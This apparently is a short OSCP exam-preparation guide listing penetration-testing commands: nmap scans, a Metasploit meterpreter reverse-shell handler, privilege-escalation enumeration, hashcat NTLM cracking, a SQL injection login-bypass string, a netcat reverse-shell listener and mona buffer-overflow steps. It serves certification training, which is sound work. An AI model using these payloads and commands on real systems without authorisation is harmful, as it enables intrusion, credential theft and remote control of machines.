You Should Know:

Preparing for the OSCP (Offensive Security Certified Professional) exam requires not just theoretical knowledge but hands-on practice. Below are critical commands, tools, and techniques to master before attempting the OSCP exam.

Essential Tools & Commands:

1. Nmap (Network Scanning)

nmap -sV -sC -p- -T4 <target_IP> 

-sV: Service detection
-sC: Default scripts
-p-: Scan all ports
-T4: Aggressive timing

2. Metasploit (Exploitation)

msfconsole 
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp 
set LHOST <your_IP> 
set LPORT 4444 
exploit 

3. Privilege Escalation (Linux)

sudo -l 
find / -perm -4000 2>/dev/null 
cat /etc/crontab 

4. Privilege Escalation (Windows)

whoami /priv 
systeminfo 
wmic qfe list full 

5. Password Cracking (Hashcat)

hashcat -m 1000 hashes.txt rockyou.txt 

6. Web Application Testing (SQL Injection)

' OR '1'='1' -- 

7. File Transfers (Python HTTP Server)

python3 -m http.server 8000 

8. Reverse Shells (Netcat)

nc -lvnp 4444 

9. Buffer Overflow Practice (Immunity Debugger)

!mona config -set workingfolder c:\logs\%p 
!mona findmsp -distance 1000 

What Undercode Say:

The OSCP exam is a hands-on challenge requiring persistence, time management, and adaptability. Many fail due to:
– Overconfidence (assuming basic exploits will work).
– Burnout (practicing without breaks).
– Lack of methodology (not documenting steps).

Key Takeaways:

✔ Master manual exploitation (avoid relying on Metasploit).

✔ Practice Active Directory attacks (OSCP now includes AD).

✔ Use proven methodologies (TryHackMe, HackTheBox, VulnHub).

Expected Output:

  • A structured penetration testing approach.
  • Detailed notes for each exploited machine.
  • Time management during the exam.
